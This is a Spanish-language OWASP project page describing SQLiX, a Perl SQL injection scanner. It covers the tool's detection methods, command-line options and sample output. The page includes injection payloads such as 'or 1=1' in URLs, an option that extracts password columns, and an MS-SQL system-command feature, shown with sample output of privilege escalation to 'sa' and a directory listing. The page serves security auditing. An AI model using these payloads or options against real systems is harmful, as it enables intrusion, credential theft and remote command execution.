Category:OWASP SQLiX Project/es

Descripción
SQLiX, programado en Perl, es un scanner de inyección SQL, capaz de rastrear, detectar inyecciones SQL, identificar el tipo de base de datos y obtener resultados UDF o de llamadas de función (inclusive ejecutar comandos del sistema para MS-SQL). Los conceptos en uso son diferentes a los usados en otros scanners de inyección SQL. SQLiX es capaz de encontrar inyección SQL normal y a ciegas y no necesita hacer ingeniería inversa a la petición SQL original.

Objetivos
SQLiX es un scanner de inyección SQL el cual trata de llenar el espacio entre lo que puede hacer el software comercial disponible en el mercado y lo que realmente puede hacerse para detectar e identificar inyección SQL.

Los métodos actuales de inyección usados por software de auditorias Web comercial están basados en generación de errores o inyecciones declaradas.

generación de errores:

El método de generación de errores es bastante simple y esta basado en metacaracteres como comillas dobles y simples. Inyectando estos caracteres en la petición SQL original, se genera un error de sintaxis que podría resultar en un mensaje de error SQL desplegado en la respuesta HTTP. El principal problema con esta técnica es el hecho de que solamente esta basada en comparación de patrones. No hay forma de manejar múltiples lenguajes o comportamientos complejos cuando el mensaje de error es filtrado por los scripts del lado del servidor.

inyección declarativa:

El segundo método usado es la inyección declarativa. Veamos un ejemplo: La URL objetivo (0) es http://target.Ejemplo.com/news.php?id=25.

El scanner tratara de comprar el contenido HTML de la petición original con el contenido HTML de (1) http://target.Ejemplo.com/news.php?id=25%20or%201=1 (2) http://target.Ejemplo.com/news.php?id=25%20or%201=0

Si la petición (1) provee el mismo resultado que la petición (0) pero no el mismo que la petición (2), el scanner concluirá que la inyección SQL es posible. Este método funciona bien, pero es muy limitado por la sintaxis de la petición original. Si la petición original contiene paréntesis, procedimientos almacenados, o llamadas a funciones, este método raramente funcionara. Peor aun, si la variable es usada por múltiples peticiones SQL, todas con sintaxis diferentes, no hay forma automática para hacerlas funcionar simultáneamente.

Frecuentemente usted vera scanners mas avanzados como SQLBrute de www.justinclarke.com tratando de hacer ingeniería inversa a la sintaxis de la petición SQL original inyectando múltiples peticiones con diferentes conjuntos de paréntesis o comas. Este método consume un poco mas de tiempo pero proporciona mejores resultados (gratis), especialmente cuando mensajes de error no son desplegados.

Otro problema global relacionado con inyección SQL es el hecho de que los que realizan las pruebas de intrusión frecuentemente concluyen que cierta vulnerabilidad de inyección SQL no puede ser explotada. Al concluir esta declaración incorrecta, están invitando a sus clientes a no arreglar la vulnerabilidad.

 ¿ Como podría SQLiX ayudar a llenar el vacío?


 * SQLiX usa múltiples técnicas para determinar si el actual script del lado del servidor es vulnerable a inyección SQL
 * inyección de errores condicional
 * inyección a ciegas basada en enteros, cadenas o declaraciones
 * Mensajes de error descriptivos para MS-SQL
 * SQLiX usando UDF (funciones definidas por el usuario) o llamadas a funciones, de ahí no hay necesidad de aplicar ingeniería inversa a la sintaxis SQL original
 * SQLix es capaz de identificar la versión de la base de datos y recolectar información sensible de los siguientes servidores SQL: MS-Access, MS-SQL, MySQL, Oracle y PostgreSQL.
 * El modulo de comparación de SQLiX es capaz de tratar con complejos contenidos HTML aun cuando incluyen aditamentos dinámicos
 * SQLiX contiene un modulo de exploits para demostrar como un hacker podría explotar la inyección SQL encontrada para obtener información sensible

Descarga
OWASP SQLiX v1.0 esta disponible para descarga aquí o aquí.

Características
Por ser determinado

Uso de línea de comandos
Uso: SQLiX.pl [opciones] -help                             Muestra la ayuda

Especificación de objetivo: -url [URL]                        Escanea una URL dada. Ejemplo: -url="http://target.com/index.php?id=1" --post_content [CONTENIDO]          Agregar contenido a la URL actual [URL] y cambiar el método HTTP a POST -file [ARCHIVO]                 Escanea una lista de URI proporcionada vía un archivo de texto claro. Ejemplo: -file="./crawling" -crawl [ROOT_URL]                 Escanea un sitio Web desde la URL raíz. Ejemplo: -crawl="http://target.com/"

Variantes de inyección: -referer                          Usar HTTP referer como potencial punto de inyección. -agent                            Usar HTTP User agent como potencial punto de inyección. -cookie [COOKIE]                  Usar la cookie como potencial punto de inyección. El valor de la cookie debe ser especificado y el área de inyección Marcada como "--INJECT_HERE--". Ejemplo: -cookie="userID=--INJECT_HERE--"

métodos de inyección: -all                              Usar todos los métodos. -method_taggy                     Usar el modo descriptivo de mensajes de error para MS-SQL. -method_error                     Usar el método de errores condicionales. -method_blind                     Usar todos los métodos de inyección a ciegas. -method_blind_integer             Usar métodos de inyección a ciegas con enteros. -method_blind_string              Usar métodos de inyección a ciegas con cadenas. -method_blind_statement           Usar el método declarativo de inyección a ciegas. -method_blind_comment             Usar el método de inyección a ciegas de comentarios MySQL.

Módulos de ataque: -exploit                          Explotar la inyección encontrada para extraer información. La versión de la base de datos será obtenida por omisión -function [function]              Usado con exploit para obtener un valor de función dado. Ejemplo: -function="system_user" Ejemplo: -function="(select password from user_table)" -union                            Analiza objetivo para posibles ataques de UNION [solo MS-SQL].

inyección de comandos de sistema para MS-SQL: -cmd [COMANDO]                    Comando de sistema a ser ejecutado. Ejemplo: -cmd="dir c:\\" -login [LOGIN]                    Usuario de MS-SQL para usar, si se conoce. -password [PASSWORD]              Password de MS-SQL para usar, si se conoce.

Verbosidad: -v=[n]                            Nivel de modo verboso v=0 => Sin salida, solamente se despliegan los resultados al final v=2 => Despliegue en tiempo real, proporciona información de resultados minima v=5 => Vista para depurar [todo el contenido de las URLs y encabezados es mostrado]

Ejemplo de salida

 * Ejecución de comandos de sistema para MS-SQL

$ perl SQLiX.pl -file crawling -all -v=2 -exploit -cmd="dir c:\\"

======================================================                   -- SQLiX -- © Copyright 2006 Cedric COCHIN, All Rights Reserved. ====================================================== Analysing URI obtained by flat file [crawling] http://www.target.Ejemplo.com/DocumentDescription-HR.asp?DocID=2 [+] working on DocID [+] Method: MS-SQL error message [FOUND] MS-SQL error message (implicite without quotes) [FOUND] function [@@versión]: Microsoft SQL Server 2000 - 8.00.534 (Intel X86) Nov 19 2001 13:23:50 Copyright (c) 1988-2000 Microsoft Corporation Personal Edition on Windows NT 5.0 (Build 2195: Service Pack 4) [INFO] System command injector: [INFO] Current database: HR                  [INFO] We are not sysadmin for now [INFO] Checking OpenRowSet availibility - please wait... [INFO] Current user login: [HR] [FOUND] OPENROWSET available - (login [sa] | password [sa]) [INFO] Privilege escalation - from [HR] to [sa] ===========================================================================                        Volume in drive C has no label. Volume Serial Number is 00BC-6F73 Directory of c:\ 11/21/2005 06:36p                403679d1f6ca54e5384256556434111d 07/14/2006 10:49a                Documents and Settings 07/22/2005 02:21p                honeypot 07/21/2005 04:38p                iDefense 03/08/2002 08:23a                Inetpub 07/14/2006 03:21p                Program Files 08/07/2006 04:11p                 622 tmp.txt 11/28/2005 06:06p                WINNT 1 File(s)           622 bytes 7 Dir(s)    183,328,768 bytes free ===========================================================================                  [FOUND] MS-SQL error message RESULTS: The variable [DocID] from [ http://www.target.Ejemplo.com/DocumentDescription-HR.asp?DocID=2 ] ...   ... is vulnerable to SQL Injection [TAG implicite without quotes - MSSQL].


 * inyección de funciones para MySQL, PostgreSQL 

$ perl SQLiX.pl -file crawling -all -v=2 -exploit

======================================================                   -- SQLiX -- © Copyright 2006 Cedric COCHIN, All Rights Reserved. ====================================================== Analysing URI obtained by flat file [crawling] http://www.target.Ejemplo.com/MySQL-DocumentDescriptionMagicQuote.asp?DocID=2 [+] working on DocID [+] Method: MS-SQL error message [+] Method: SQL error message [FOUND] Match found INPUT:[user] - "Microsoft OLE DB Provider for ODBC Drivers" [INFO] Error without quote [INFO] Database identified: MySQL Server [INFO] Current function: versión [INFO] length: 19 4.1.20-community-nt [FOUND] SQL error message http://www.target.Ejemplo.com/PGSQL-DocumentDescription.asp?DocID=2 [+] working on DocID [+] Method: MS-SQL error message [+] Method: SQL error message [FOUND] Match found INPUT:['] - "Microsoft OLE DB Provider for ODBC Drivers" [INFO] Error without quote [INFO] Database identified: PostgreSQL Server [INFO] Current function: versión [INFO] length: 88 PostgreSQL 8.0.7 on i686-pc-mingw32, compiled by GCC gcc.exe (GCC) 3.4.2 [FOUND] SQL error message RESULTS: The variable [DocID] from [ http://www.target.Ejemplo.com/MySQL-DocumentDescriptionMagicQuote.asp?DocID=2 ] ...   ... is vulnerable to SQL Injection [Error message (user) - MySQL]. The variable [DocID] from [ http://www.target.Ejemplo.com/PGSQL-DocumentDescription.asp?DocID=2 ] ...   ... is vulnerable to SQL Injection [Error message (') - PostgreSQL].

Desarrollo futuro
Actualmente se trabajo en un modulo capaz de mostrar el esquema de la base de datos y los datos de la base de datos vulnerable.

PD: Si es un verdadero desarrollador Perl (no como yo ;) ), siéntase libre de proporcionarnos mejoras de código o consejos.

Noticias
'''Proyecto OWASP SQLiX creado! - 09:45, 28 de agosto de 2006 (EDT)'''

Mientras el proyecto SQLiX ha estado bajo desarrollo por algún tiempo, acaba de ser donado recientemente a OWASP.

La comunidad de OWASP quisiera agradecer a Cedric Cochin por la generosa donación.

Retroalimentación y participación:
Esperamos que encuentre útil el proyecto OWASP SQLiX. Por favor contribuya con el proyecto ofreciéndose para alguna de las tareas, enviando sus comentarios, preguntas y sugerencias a owasp@owasp.org. Para unirse a la lista de correo de OWASP SQLiX o ver los archivos, por favor visite la página de suscripción.

Colaborador del proyecto
El proyecto es dirigido por Cedric Cochin (cedric.cochin at gmail dot com)

Página principal

Patrocinadores del proyecto
Si quisiera ayudar al desarrollo del proyecto SQLiX, siéntase libre de contactar al líder del proyecto.

Plan de trabajo
Por favor refiérase a OWASP SQLiX Project Roadmap para las tareas actuales (en ingles).